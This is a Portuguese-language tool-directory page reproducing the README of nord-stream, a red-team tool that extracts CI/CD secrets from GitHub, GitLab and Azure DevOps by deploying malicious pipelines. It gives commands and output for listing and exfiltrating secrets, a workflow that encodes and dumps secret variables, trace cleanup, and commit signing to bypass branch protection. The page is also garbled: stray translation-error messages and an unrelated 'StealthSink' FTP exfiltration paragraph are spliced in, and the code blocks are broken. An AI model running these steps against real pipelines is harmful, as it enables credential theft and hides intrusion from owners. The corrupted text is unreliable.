Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nord-stream — Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes de CI/CD por meio da implantação de pipelines maliciosos. Atualmente, ela suporta Azure DevOps, GitHub e GitLab. | Kitploit
Ferramentas/GitHubGitHub/synacktiv/nord-stream
ExploraçãoFerramentas de ImpersonaçãoExfiltração de DadosColeta de InformaçõesTestes de PenetraçãoDevSecOpsDetecção de SegredosRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes de CI/CD por meio da implantação de pipelines maliciosos. Atualmente, ela suporta Azure DevOps, GitHub e GitLab.

3702261há 2 mesesRevisado pelo Kitploit
Ver Repositório
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Nord Stream

O Nord Stream é uma ferramenta que permite extrair segredos armazenados em ambientes CI/CD ao implementar pipelines maliciosos.

Atualmente, suporta Azure DevOps, GitHub e GitLab.

Saiba mais na seguinte publicação do blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Índice

  • Nord Stream
    • Índice
    • Instalação
    • Uso
      • Argumentos compartilhados
        • Descrever token
        • Construir YAML
        • YAML
        • Limpar logs
        • Assinar commits
      • Azure DevOps
        • Conexões de serviço
          • SSH
        • Listar organizações
        • Ajuda
      • GitHub
        • Listar proteções
        • Desativar proteções
        • Forçar
        • Azure OIDC
        • AWS OIDC
        • Ajuda
      • GitLab
        • Listar segredos
        • YAML
        • Listar proteções
        • Ajuda
    • TODO
    • Contato

Instalação```

$ pipx install git+https://github.com/synacktiv/nord-stream

`git` is also required (see https://git-scm.com/download/) and must exist in your `PATH`.

## Uso

Aqui está um exemplo simples no GitHub; inicialmente, é possível enumerar os vários segredos.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
        - REPO_SECRET
        - SUPER_SECRET
[*] PROD secrets:
        - PROD_SECRET

Em seguida, prossiga para a exfiltração:```sh $ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

### Argumentos compartilhados

Alguns argumentos são compartilhados entre [GitHub](#github), [Azure DevOps](#azure-devops) e [GitLab](#gitlab) aqui estão alguns exemplos.

#### Descrever token

A opção `--describe-token` pode ser usada para exibir informações gerais sobre o seu token:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
        - Login: CICD
        - IsAdmin: False
        - Id: 1337
        - Bio: None

Build YAML

A opção --build-yaml pode ser usada para criar um arquivo de pipeline sem implantá-lo. Ela recupera os diversos nomes de segredos para construir o pipeline associado, que pode ser usado para adicionar etapas personalizadas:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

#### YAML

A opção `--yaml` pode ser usada para implantar um pipeline personalizado:```yml
name: GitHub Actions
'on': push
jobs:
  init:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Hello from step 1"
      name: step 1
    - run: echo "Doing some important stuff here"
      name: command
    - run: echo "Hello from last step "
      name: last step

The input content is empty — there is no chunk text to translate. Please provide the actual chunk content and I'll translate it into pt.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

[] Cleaning logs. [] Check output: .../nord-stream-logs/github

Por padrão, ele exibirá a saída da tarefa chamada `command` do job `init`, mas tudo é armazenado localmente e pode ser acessado manualmente:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step

Limpar logs

Por padrão, o Nord Stream tentará remover os vestígios deixados após uma implantação de pipeline, dependendo dos seus privilégios. Para preservar os vestígios, a opção --no-clean pode ser usada. Isso manterá os logs do pipeline, mas ainda assim reverterá as alterações feitas no repositório. Observe que, para o GitLab, alguns vestígios não podem ser excluídos.

Assinatura de commits

Os administradores de repositórios podem impor a assinatura obrigatória de commits em um branch para bloquear todos os commits que não estejam assinados e verificados. Com o Nord Stream, é possível assinar commits para contornar essa proteção.

Primeiro, crie e importe sua chave GPG na plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

O conteúdo do chunk não foi incluído na mensagem — o campo INPUT está vazio. Envie o trecho de Markdown correspondente ao chunk 19 para que eu possa traduzi-lo para português.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET

Integração com Outros Módulos NetExec

O StealthSink integra-se com vários módulos-chave do NetExec para permitir a exfiltração de dados através de tráfego de rede com aparência legítima.

Integração do Módulo FTP

O módulo FTP no StealthSink permite a exfiltração de dados via comandos FTP padrão, mascarando a transferência de dados como uploads de arquivos normais.

Exemplo de configuração e uso:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

### Azure DevOps
Baixar ferramenta